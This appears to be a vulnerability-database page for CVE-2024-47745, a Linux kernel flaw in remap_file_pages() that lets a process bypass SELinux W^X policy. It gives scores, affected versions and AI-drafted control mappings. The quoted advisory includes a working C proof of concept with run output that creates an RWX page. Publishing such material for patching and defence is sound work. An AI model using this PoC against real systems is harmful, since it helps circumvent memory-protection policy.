Cyber Resilience

CVE-2024-47745

Linux Kernel ≤ 6.1.120

Published
21 October 2024
Modified
04 August 2026
Patch / advisory
CVSS Score v3.1 7.8
Click a component to see what it means
Raw vectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score 0.0029 21th percentile
Risk Priority 56 floored blend · peak EPSS

Summary

CVE-2024-47745 is a high-severity Always-Incorrect Control Flow Implementation (CWE-670) vulnerability in Linux Linux Kernel. Its CVSS base score is 7.8 (High).

Operationally, ranked at the 21th percentile by exploit likelihood (below the median); it is not currently listed in the CISA KEV catalog.

The strongest mitigations our analysis identified map to SA-11 (Developer Testing and Evaluation) and SA-15 (Development Process, Standards, and Tools) — see the control section below for these in your framework.

EU & UK References

Vulnerability Data

In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before…

more

and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) [PM: subject line tweaks]

CWE(s)

Related Threats

CVEs Like This One

CVE-2025-38108Same product: Debian Debian Linux
CVE-2025-39857Same product: Debian Debian Linux
CVE-2024-35936Same product: Debian Debian Linux
CVE-2025-38494Same product: Debian Debian Linux
CVE-2025-38344Same product: Debian Debian Linux
CVE-2025-38203Same product: Debian Debian Linux
CVE-2024-26689Same product: Debian Debian Linux
CVE-2024-35905Same product: Debian Debian Linux
CVE-2023-52672Same product: Debian Debian Linux
CVE-2023-3609Same product: Debian Debian Linux

Affected Assets

debian
debian linux
11.0
linux
linux kernel
≤ 6.1.120 · 6.2 — 6.6.54 · 6.7 — 6.10.13

Mitigating Controls

Control response

Prevent
Stop it (NIST 800-53)

Detect
Catch it (NIST detect / respond)

Harden
Shrink the surface (DISA STIG)

Validate
Prove the fix (OWASP ASVS)
  • V9.2.1

Mitigating Controls (NIST 800-53 r5) AI

Developer testing and evaluation at post-design stages directly exercises control-flow paths and reveals mismatches between implemented and intended behavior.

Requiring a documented development process and supporting tools reduces the chance that incorrect control-flow logic is introduced in the first place.

Flaw identification and remediation processes can locate and correct control-flow errors once they manifest as incorrect runtime behavior.

Mitigating Controls (NIST CSF 2.0) AI

Derived directly from the weakness types (CWEs) cited in the NVD entry via our AI-authored CWE→CSF cross-walk (authority under review) — links open the control.

PR.PS-06 mostly match
prevents

Secure SDLC practices directly prevent incorrect control-flow implementations via reviews, testing, and static analysis.

Mitigating Controls (ISO/IEC 27001:2022 Annex A) AI

Derived directly from the weakness types (CWEs) cited in the NVD entry via our AI-authored CWE→ISO cross-walk (authority under review) — links open the control.

finds

Security testing in development and acceptance can detect paths that deviate from intended logic.

prevents

Secure development lifecycle processes can catch incorrect control-flow logic during design and code review.

prevents

Secure coding standards and reviews directly target flawed control-flow implementations.

prevents

Change-management gates may prevent deployment of flawed logic but do not address the coding defect itself.

References